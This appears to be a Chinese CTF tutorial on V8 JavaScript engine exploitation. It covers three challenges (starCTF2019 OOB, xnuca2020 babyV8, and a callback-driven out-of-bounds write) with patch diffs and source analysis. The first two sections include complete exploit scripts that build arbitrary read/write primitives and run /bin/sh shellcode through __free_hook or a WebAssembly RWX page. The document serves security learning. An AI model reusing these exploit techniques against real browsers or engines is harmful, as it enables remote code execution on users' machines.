v8 pwn入门篇利用合集

前置知识

JS Object 相关

V8 中的对象表示 ==> 基础的文章,建议先看看
V8 exploitation base ==> 一个大总结,其实基础知识看这个就好了
JavaScript 引擎基础:Shapes 和 Inline Caches ==> 简单易懂,图很形象
v8官方文章 - 解析 property ==> 主要解析了对象内属性、快属性、慢属性的存储
V8、Chrome、Node.js ==> 这是一系列的文章,很多,读者可以自行选择阅读

Ignition 相关

Ignition: V8 Interpreter

JIT - turboFan 相关

笔者建议先看一遍官方文档
part2 => 比较详细,但是很抽象
TurboFan => 比较粗略,但能有一个大概的认识
官方博客

tturbolizer 在线使用网站:

https://v8.github.io/tools/head/turbolizer/index.html

基本 OOB

starCTF2019 OOB【越界读写map字段】

环境搭建

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply oob.diff
gclient sync -D # 别忘了 gclient sync 同步一下

漏洞分析

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

为数组实现了一个内置的 oob 函数,这里存在越界读写,其功能如下:

let arr = [];
arr.oob() ==> arr[arr.length];
arr.oob(value) ==> arr[arr.length] = value;

而需要注意的是内部是把该数组当作一个 double 类型的数组进行的读写操作:

+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements())

漏洞利用
这里主要就是利用越界读写去读取map并修改map造成类型混淆从而实现任意地址读写
exp.js 如下:

let debug = (o) => {
        %DebugPrint(o);
        %SystemBreak();
};

let hexx = (str, num) => {
        print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
};

var raw_buf = new ArrayBuffer(8);
var d = new Float64Array(raw_buf);
var l = new BigUint64Array(raw_buf);

function d2l(num)
{
        d[0] = num;
        return l[0];
}

function l2d(num)
{
        l[0] = num;
        return d[0];
}

var tmp = [1, 2];
var float_arr = [1.1, 1.2];
var obj_arr = [tmp, float_arr];

var float_map = d2l(float_arr.oob());
var obj_map = d2l(obj_arr.oob());

hexx("float_map", float_map);
hexx("obj_map", obj_map);

function addressOf(obj)
{
        obj_arr[0] = obj;
        obj_arr.oob(l2d(float_map));
        let obj_addr = d2l(obj_arr[0]) - 1n;
        obj_arr.oob(l2d(obj_map));
        return obj_addr;
}

function fakeObj(addr)
{
        float_arr[0] = l2d(addr+1n);
        float_arr.oob(l2d(obj_map));
        let fake_obj = float_arr[0];
        float_arr.oob(l2d(float_map));
        return fake_obj;
}

var fake_obj_arr = [l2d(float_map), 0, 52.1, l2d(0x200000000n)];

var fake_obj_arr_addr = addressOf(fake_obj_arr);
var fake_obj_addr = fake_obj_arr_addr - 0x20n;
hexx("fake_obj_arr_addr", fake_obj_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);

var fake_obj = fakeObj(fake_obj_addr);

function arb_read(addr)
{
        fake_obj_arr[2] = l2d(addr+1n-0x10n);
        return d2l(fake_obj[0]) - 1n;
}

function arb_write_fake(addr, value)
{
        fake_obj_arr[2] = l2d(addr+1n-0x10n);
        fake_obj[0] = l2d(value);
}

var tmp_buf = new ArrayBuffer(0x20);
var arb_write_buf = new DataView(tmp_buf);
var arb_write_buf_addr = addressOf(arb_write_buf);
var arb_write_buf_buf_addr = arb_read(arb_write_buf_addr+0x18n);
var backing_store_addr = arb_write_buf_buf_addr+0x20n;
var backing_store = arb_read(arb_write_buf_buf_addr+0x20n);
hexx("arb_write_buf_addr", arb_write_buf_addr);
hexx("arb_write_buf_buf_addr", arb_write_buf_buf_addr);
hexx("backing_store_addr", backing_store_addr);
hexx("backing_store", backing_store);


let exp_hook = () => {

        function get_shell(){
                var shell_str = new String("/bin/sh\0");
        }

        var tmp_addr = addressOf(tmp);
        var tmp_map = arb_read(tmp_addr);
        var tmp_construct_addr = arb_read(tmp_map+0x20n);
        var tmp_code_addr = arb_read(tmp_construct_addr+0x30n);
        var text_addr = arb_read(tmp_code_addr+0x2n+0x40n) + 1n;
        var text_base = text_addr - 0x94f780n;
        var malloc_got = text_base + 0x12AA9E0n - 0x679000n;
        var libc_base = arb_read(malloc_got) + 1n - 0x780e0n;
        var system = libc_base + 0x30290n;
        var free_hook = libc_base + 0x1cce48n;
        hexx("tmp_addr", tmp_addr);
        hexx("tmp_map", tmp_map);
        hexx("tmp_construct_addr", tmp_construct_addr);
        hexx("tmp_code_addr", tmp_code_addr);
        hexx("text_addr", text_addr);
        hexx("text_base", text_base);
        hexx("malloc_got", malloc_got);
        hexx("libc_base", libc_base);
        hexx("system_addr", system);
        hexx("free_hook", free_hook);
        arb_write_fake(backing_store_addr, free_hook);
        arb_write_buf.setFloat64(0, l2d(system), true);
        //arb_write_fake(backing_store_addr, backing_store);
        //arb_write_buf.setFloat64(0, l2d(0x68732f6e69622fn), true);
        get_shell();
}

let exp_wasm = () => {

        var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                        128,0,1,96,0,1,127,3,130,128,128,128,
                                        0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                        131,128,128,128,0,1,0,1,6,129,128,128,128,
                                        0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                        114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                        128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

        var wasm_module = new WebAssembly.Module(wasm_code);
        var wasm_instance = new WebAssembly.Instance(wasm_module);
        var func = wasm_instance.exports.main;
        var wasm_instance_addr = addressOf(wasm_instance);
        var func_addr = addressOf(func);
        var rwx_addr = arb_read(wasm_instance_addr+0x88n) + 1n;
        hexx("func_addr", func_addr);
        hexx("wasm_instance_addr", wasm_instance_addr);
        hexx("rwx_addr", rwx_addr);

        var shellcode = [
          0x2fbb485299583b6an,
          0x5368732f6e69622fn,
          0x050f5e5457525f54n
        ];


        arb_write_fake(backing_store_addr, rwx_addr);
        for (let i = 0; i < shellcode.length; i++)
        {
                arb_write_buf.setFloat64(i*8, l2d(shellcode[i]), true);
        }
        func();
}
exp_hook();
//exp_wasm();
//debug(tmp);

xnuca2020-babyV8【越界写,存在指针压缩】

环境搭建

git checkout 8.6.358
gclient sync -D

漏洞分析

diff --git a/src/codegen/code-stub-assembler.cc b/src/codegen/code-stub-assembler.cc
index 16fd384..8bf435a 100644
--- a/src/codegen/code-stub-assembler.cc
+++ b/src/codegen/code-stub-assembler.cc
@@ -2888,7 +2888,7 @@ TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
       [&](TNode<Object> arg) {
         TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(),
                              arg);
-        Increment(&var_length);
+        Increment(&var_length, 3);
       },
       first);
   {

定位到源码,通过注释并结合函数名大概就可以知道这个函数在干嘛了:

  // Consumes args into the array, and returns tagged new length.
  TNode<Smi> BuildAppendJSArray(ElementsKind kind, TNode<JSArray> array,
                                CodeStubArguments* args,
                                TVariable<IntPtrT>* arg_index, Label* bailout);

TNode<Smi> CodeStubAssembler::BuildAppendJSArray(ElementsKind kind,
                                                 TNode<JSArray> array,
                                                 CodeStubArguments* args,
                                                 TVariable<IntPtrT>* arg_index,
                                                 Label* bailout) {
  Comment("BuildAppendJSArray: ", ElementsKindToString(kind));
  Label pre_bailout(this);
  Label success(this);
  TVARIABLE(Smi, var_tagged_length);
  TVARIABLE(BInt, var_length, SmiToBInt(LoadFastJSArrayLength(array))); // var_length = array.length
  TVARIABLE(FixedArrayBase, var_elements, LoadElements(array)); // var_elements = array.elements

  // Resize the capacity of the fixed array if it doesn't fit.
  // 如果 fixed array (其实就是 elements) 大小不适合,则调整数组容量
  TNode<IntPtrT> first = arg_index->value();
  TNode<BInt> growth = IntPtrToBInt(IntPtrSub(args->GetLength(), first));
  PossiblyGrowElementsCapacity(kind, array, var_length.value(), &var_elements, growth, &pre_bailout);

  // Push each argument onto the end of the array now that there is enough capacity.
  // 有了足够的容量后,开始 push args 进数组
  CodeStubAssembler::VariableList push_vars({&var_length}, zone());
  TNode<FixedArrayBase> elements = var_elements.value(); // elements = array.elements
  // 开始循环 push
  args->ForEach(
      push_vars,
      [&](TNode<Object> arg) {
        // 将 arg 存储到 elements 中
        // 这里的 var_length.value() 是 index, arg 是 value
        // 即 array[index] = value
        TryStoreArrayElement(kind, &pre_bailout, elements, var_length.value(), arg);
        // 这里每次将 var_length 加 3
        // Increment(&var_length);
        Increment(&var_length, 3);
      },
      first);
  {
    // 设置 length = var_length.value()
    TNode<Smi> length = BIntToSmi(var_length.value());
    var_tagged_length = length;
    // 修改 array.length = var_length.value()
    StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
    Goto(&success);
  }

  BIND(&pre_bailout);
  {
    TNode<Smi> length = ParameterToTagged(var_length.value());
    var_tagged_length = length;
    TNode<Smi> diff = SmiSub(length, LoadFastJSArrayLength(array));
    StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);
    *arg_index = IntPtrAdd(arg_index->value(), SmiUntag(diff));
    Goto(bailout);
  }

  BIND(&success);
  // 返回最后的数组大小 array.length
  return var_tagged_length.value();
}

其实在做题的时候,对于一些源码的功能都是连菜带懵的

可以看到这里主要就是将 Increment(&var_length); 修改为了 Increment(&var_length, 3);,而 Increment(&var_length); 其实就是 Increment(&var_length, 1);
通过询问 chatgpt 可以知道这个函数的功能为向 JSArray 对象中添加元素,然后查阅文档可知向 JSArray 对象中添加元素的操作为 push,所以这里其实就可以确定如何去触发该函数了,就是通过 arr.push()

arr.push() 的返回值是最后数组中元素的个数,所以从 CodeStubAssembler::BuildAppendJSArray 的返回值也可以进一步确认其为 arr.push 的内部实现

当然,这里也可以继续往上查找,也可以确认这就是 Array.prototype.push 的实现:

TF_BUILTIN(ArrayPrototypePush, CodeStubAssembler) {
......
  BIND(&object_push);
  {
    Node* new_length = BuildAppendJSArray(PACKED_ELEMENTS, array_receiver,
                                          &args, &arg_index, &default_label);
    args.PopAndReturn(new_length);
  }

  BIND(&double_push);
  {
    Node* new_length =
        BuildAppendJSArray(PACKED_DOUBLE_ELEMENTS, array_receiver, &args,
                           &arg_index, &double_transition);
    args.PopAndReturn(new_length);
  }
......

并且最后返回的是数组最后的长度 var_tagged_length.value();,而该值在如下代码被修改:

    TNode<Smi> length = BIntToSmi(var_length.value());
    var_tagged_length = length;
    StoreObjectFieldNoWriteBarrier(array, JSArray::kLengthOffset, length);

所以 var_length 其实就是最后数组的长度,并且 StoreObjectFieldNoWriteBarrier 会修改 array.length = length,那么这里也就可以理解这个漏洞了:

        //Increment(&var_length);
        Increment(&var_length, 3);

从函数名就可以看出这里的 Increment 是加操作,所以这里就相当于每次 push 一个将数就将 var_length 的值加 3,那么这里可能就会存在越界

这里为啥说是可能存在越界,而不是一定会越界呢?这是因为v8在调整 elements 大小时,分配的空间大小不一定就等于元素的个数,如下示例:

V8 version 8.6.358
d8> var a = [1]
undefined
d8> a[2] = 3
3
d8> %DebugPrint(a)
DebugPrint: 0x19408088119: [JSArray]
 - map: 0x0194082438dd <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x01940820b351 <JSArray[0]>
 - elements: 0x0194080897f1 <FixedArray[20]> [HOLEY_SMI_ELEMENTS]
 - length: 3
 - properties: 0x0194080426e5 <FixedArray[0]> {
    0x19408044651: [String] in ReadOnlySpace: #length: 0x019408182161 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0194080897f1 <FixedArray[20]> {
           0: 1
           1: 0x019408042381 <the_hole>
           2: 3
        3-19: 0x019408042381 <the_hole>
 }

可以看到这里的 length 等于3,可以 elements 却是 FixedArray[20],所以就算你这里的 length 被加3了,3+3=6<20,这对于漏洞利用来说是没有作用的。

漏洞利用

//let debug = (o) => {
//      %DebugPrint(o);
//      %SystemBreak();
//};

function hexx(str, value)
{
        print("\033[32m[+]"+str+": \033[0m0x"+value.toString(16));
}

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);

function d2l(x)
{
        d_buf[0] = x;
        return l_buf[0];
}

function l2d(x)
{
        l_buf[0] = x;
        return d_buf[0];
}

var arr = [1.1];
arr.push(1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2, 1.2);
var oob = [1];
oob[1] = 1.1;

var map_and_len = d2l(arr[36]);
hexx("map_and_len", map_and_len);

arr[36] = l2d((map_and_len&0xffffffffn)|0x100000000000n);

var victim = new ArrayBuffer(0x2024);
var arb_buf = new DataView(victim);

var backing_store_index = -1;
for (let i = 0; i < 2048; i++) {
        if (d2l(oob[i]) === 0x2024n) {
                backing_store_index = i + 1;
                break;
        }
}

if (backing_store_index === -1) {
        throw "FAILED to hit ArrayBuffer";
}

hexx("backing_store_index", backing_store_index);

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var wasm_instance_index = -1;
var tmp = [wasm_instance, 0x290098a];


for (let i = 0; i < 2048; i++) {
        let v = d2l(oob[i]);
        if (((v & 0xffffffff00000000n) === 0x520131400000000n) && ((v & 0xffffffffn) != 0)){
        //      hexx("d2l(oob[i])", d2l(oob[i]));
                wasm_instance_index = i;
                break;
        }
}

if (wasm_instance_index === -1) {
        throw "FAILED to WasmInstance";
}

hexx("wasm_instance_index", wasm_instance_index);

var wasm_instance_addr = d2l(oob[wasm_instance_index])&0xffffffffn;
hexx("wasm_instance_addr", wasm_instance_addr);

arr[36] = l2d((wasm_instance_addr)|0x100000000000n);

var rwx_addr = d2l(oob[12]);

hexx("rwx_addr", rwx_addr);

arr[36] = l2d((map_and_len&0xffffffffn)|0x100000000000n);

var shellcode = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];

oob[backing_store_index] = l2d(rwx_addr);
for (let i = 0; i < shellcode.length; i++)
{
        arb_buf.setBigInt64(i*8, shellcode[i], true);
}

pwn();

//%DebugPrint(victim);
//debug(oob);

CallBack 导致的 OOB

这里的 CallBack 我的理解是可以在 javascript 和 引擎层面同时操作同一对象导致的验证失败:

希望师傅们可以好好理解一下下面这张图片

在这里插入图片描述

数字经济线下 Browser【Object::toNumber中callback导致的越界写】

环境搭建

git reset --hard 0ec93e047216979431bd6f147ab5956bb729afa2
gclient sync -D
git apply ../diff.patch

漏洞分析

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
 }
 }  // namespace
 
+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+  uint32_t len = args.length();
+  if (len != 3) {
+     return ReadOnlyRoots(isolate).undefined_value();
+  }
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+         isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+  Handle<Object> value;
+  Handle<Object> length;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+             isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+  uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+  if(37 < array_length){
+    elements.set(37, value->Number());
+    return ReadOnlyRoots(isolate).undefined_value();  
+  }
+  else{
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}
+
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
   Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayCoin)                                   \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayCoin:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
+	SimpleInstallFunction(isolate_, proto, "coin",
+				Builtins::kArrayCoin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
     SimpleInstallFunction(isolate_, proto, "find",

为数组实现了一个内置的 coin 函数,其功能如下:

let arr = [];
arr.coin(len, value); ==> if arr.length > 37 then arr[37] = value else nothing to do

这里看似不存在问题,但是回到源码:

BUILTIN(ArrayCoin) {
	// 获取参数个数 len
  uint32_t len = args.length();
  	// 参数个数得为3个,其中第0个为this指针是默认的,所以其实只需要传入两个参数
  if (len != 3) {
     return ReadOnlyRoots(isolate).undefined_value();
  }
  // 利用 Object::ToObject 将 args.receiver() 转换为 JSReceiver
  Handle<JSReceiver> receiver;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, receiver, Object::ToObject(isolate, args.receiver()));
  // 将 receiver 转换为 JSArray
  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
  // 获取 array.elements,注意这里把 elements 当作 FixedDoubleArray 在处理
  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());

  Handle<Object> value;
  Handle<Object> length;
  // 利用 Object::ToNumber 将参数转换为 Number,当传入的参数为对象时,会回调到 valueOf / toString 函数
  // 第一个参数为 length;第二个参数为 value
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
	// 获取数组 length,array_length = length
  uint32_t array_length = static_cast<uint32_t>(array->length().Number());
  if(37 < array_length){
  	// 如果数组长度 array_length 大于 37,则设置 array[37] = value
    elements.set(37, value->Number());
    return ReadOnlyRoots(isolate).undefined_value();  
  }
  else{
  	// 直接返回 undefined
    return ReadOnlyRoots(isolate).undefined_value();
  }

可以看到这里先把 array->elements 赋给了局部变量 elements,然后对输入的 arg1/arg2 调用了 Object::ToNumber 方法将其转换为数字,而后面验证长度时取的是 array->length(),这个是 array 本身存储的 length
问题就出在 Object::ToNumber 中,在传入的参数是对象时,在该函数中会回调用户函数 valueOf,所以我们可以在 valueOf 中修改 array.length,这时就可以绕过长度限制了,然后 elements.set(37, value->Number()); 就会导致越界写。然后通过简单的内存布局可以利用越界写修改某个 arraylength 去实现任意地址读写。

这里还是简单的分析一下 Object::ToNumber 的调用过程:

MaybeHandle<Object> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
	// 如果传入的本身就是 Number[Smi or HeapNumber],则直接返回
  if (input->IsNumber()) return input;  // Shortcut.
  	// 若传入的不是 Number,则调用 ConvertToNumberOrNumeric 进行转换,注意这里的第三个参数是 Conversion::kToNumber
  return ConvertToNumberOrNumeric(isolate, input, Conversion::kToNumber);
}

跟进 ConvertToNumberOrNumeric 函数:

MaybeHandle<Object> Object::ConvertToNumberOrNumeric(Isolate* isolate,
                                                     Handle<Object> input,
                                                     Conversion mode) {
  while (true) {
  	// 如果 input 就是 Number[Smi or HeapNumber],则直接返回
    if (input->IsNumber()) {
      return input;
    }
    // 如果 input 是字符串,则调用 String::ToNumber 进行转换
    if (input->IsString()) {
      return String::ToNumber(isolate, Handle<String>::cast(input));
    }
    // 如果 input 是 Oddball,则调用 String::ToNumber 进行转换
    if (input->IsOddball()) {
      return Oddball::ToNumber(isolate, Handle<Oddball>::cast(input));
    }
    // 如果 input 是 Symbol,则直接抛出异常
    if (input->IsSymbol()) {
      THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber),
                      Object);
    }
    // 如果 input 是 BigInt,则直接抛出异常;因为 mode === Conversion::kToNumber
    if (input->IsBigInt()) {
      if (mode == Conversion::kToNumeric) return input;
      DCHECK_EQ(mode, Conversion::kToNumber);
      THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber),
                      Object);
    }
    // 最后如果是对象,则调用 JSReceiver::ToPrimitive 进行转换;这里的第二个参数为 ToPrimitiveHint::kNumber
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate, input, JSReceiver::ToPrimitive(Handle<JSReceiver>::cast(input),
                                                ToPrimitiveHint::kNumber),
        Object);
  }
}

跟进 JSReceiver::ToPrimitive 函数:

MaybeHandle<Object> JSReceiver::ToPrimitive(Handle<JSReceiver> receiver,
                                            ToPrimitiveHint hint) {
  Isolate* const isolate = receiver->GetIsolate();
  Handle<Object> exotic_to_prim;
  // 获取 Symbol.toPrimitive 方法并保存在 exotic_to_prim 中
  ASSIGN_RETURN_ON_EXCEPTION(
      isolate, exotic_to_prim,
      GetMethod(receiver, isolate->factory()->to_primitive_symbol()), Object);
  // 如果 exotic_to_prim 不是未定义的,则进行相关操作进行转换
  if (!exotic_to_prim->IsUndefined(isolate)) {
  	// 跟踪一下可以知道 hint_string = ”Number"
    Handle<Object> hint_string =
        isolate->factory()->ToPrimitiveHintString(hint);
    Handle<Object> result;
    // 调用 exotic_to_prim 函数进行转换
    ASSIGN_RETURN_ON_EXCEPTION(
        isolate, result,
        Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string),
        Object);
    // 转换成功则返回,否则则抛出异常
    if (result->IsPrimitive()) return result;
    THROW_NEW_ERROR(isolate,
                    NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
                    Object);
  }
  // 如果没有定义 Symbol.toPrimitive,则调用 OrdinaryToPrimitive 函数进行转换
  return OrdinaryToPrimitive(receiver, (hint == ToPrimitiveHint::kString)
                                           ? OrdinaryToPrimitiveHint::kString
                                           : OrdinaryToPrimitiveHint::kNumber);
}

跟进 OrdinaryToPrimitive 函数:

MaybeHandle<Object> JSReceiver::OrdinaryToPrimitive(
    Handle<JSReceiver> receiver, OrdinaryToPrimitiveHint hint) {
  Isolate* const isolate = receiver->GetIsolate();
  Handle<String> method_names[2];
  // 这里的 hint = OrdinaryToPrimitiveHint::kNumber
  switch (hint) {
    case OrdinaryToPrimitiveHint::kNumber:
    	// 这里就是单纯的保存了 valueOf 和 toString 这两个字符串
    	// 对于转换为 Number 而言,是先调用 valueOf,再调用 toString
      method_names[0] = isolate->factory()->valueOf_string();
      method_names[1] = isolate->factory()->toString_string();
      break;
    case OrdinaryToPrimitiveHint::kString:
    	// 对于转换为 String 而言,是先调用 toString,再调用 valueOf
      method_names[0] = isolate->factory()->toString_string();
      method_names[1] = isolate->factory()->valueOf_string();
      break;
  }
  for (Handle<String> name : method_names) {
    Handle<Object> method;
    // 获取对应的方法
    ASSIGN_RETURN_ON_EXCEPTION(isolate, method,
                               JSReceiver::GetProperty(isolate, receiver, name),
                               Object);
    if (method->IsCallable()) {
    	// 进行转换
      Handle<Object> result;
       // 这里就是调用 valueOf(toString)函数
      ASSIGN_RETURN_ON_EXCEPTION(
          isolate, result,
          Execution::Call(isolate, method, receiver, 0, nullptr), Object);
       // 转换成功,直接返回
      if (result->IsPrimitive()) return result;
    }
  }
  // 转换失败,抛出异常
  THROW_NEW_ERROR(isolate,
                  NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
                  Object);
}

通过分析 Object::ToNumber,可以知道当传入一个对象时:
 1)先调用 [Symbol.toPrimitive] 函数,如果成功调用但是转换失败则直接抛出异常
 2)如果没有定义 [Symbol.toPrimitive] 函数,则调用 vaueOf 函数
 3)如果2)失败,则调用 toString
所以这里我们可以利用 [Symbol.toPrimitive]valueOftoString 这三个函数完成利用,这里 exp 使用的是 valueOf 函数。写个 demo 测试一下:

let obj = {
        [Symbol.toPrimitive](hint) {
                switch (hint) {
                        case 'number':
                                return 123;
                        case 'string':
                                return 'str';
                        case 'default':
                                return 'default';
                        default:
                                throw new Error();
                }
        },
        valueOf() {
                return 456;
        }
};
console.log(Number(obj));
// 输出:
// 123

// 如果这里把 Symbol.toPrimitive 中的 return 123; 改为 [],即
let obj = {
        [Symbol.toPrimitive](hint) {
                switch (hint) {
                        case 'number':
                                return [];
                        case 'string':
                                return 'str';
                        case 'default':
                                return 'default';
                        default:
                                throw new Error();
                }
        },
        valueOf() {
                return 456;
        }
};
console.log(Number(obj));
// 输出:
/*
demo.js:18: TypeError: Cannot convert object to primitive value
console.log(Number(obj));
            ^
TypeError: Cannot convert object to primitive value
    at Number (<anonymous>)
    at demo.js:18:13
*/
// 这里直接抛出异常

// 这里把 Symbol.toPrimitive 函数删除,测试 valueOf 和 toString
let obj = {
        valueOf() {
                return 456;
        },
        toString() {
                return 789;
        }
};
console.log(Number(obj));
// 输出:
// 456

// 如果这里把 valueOf 中的 return 123; 改为 [],即
let obj = {
        valueOf() {
                return [];
        },
        toString() {
                return 789;
        }
};
console.log(Number(obj));
// 输出:
// 789

可以看到这里确实是先调用的 [Symbol.toPrimitive] 函数,并且如果 [Symbol.toPrimitive] 函数转换失败则直接抛出异常。而对于 valueOftoString 对于转换为数字而言其先调用的 valueOf,并且当 valueOf 转换失败后,并没有直接抛出异常,而是调用 toString 函数进行转换。所以这里的测试结果跟上面分析的源码是完全吻合的。

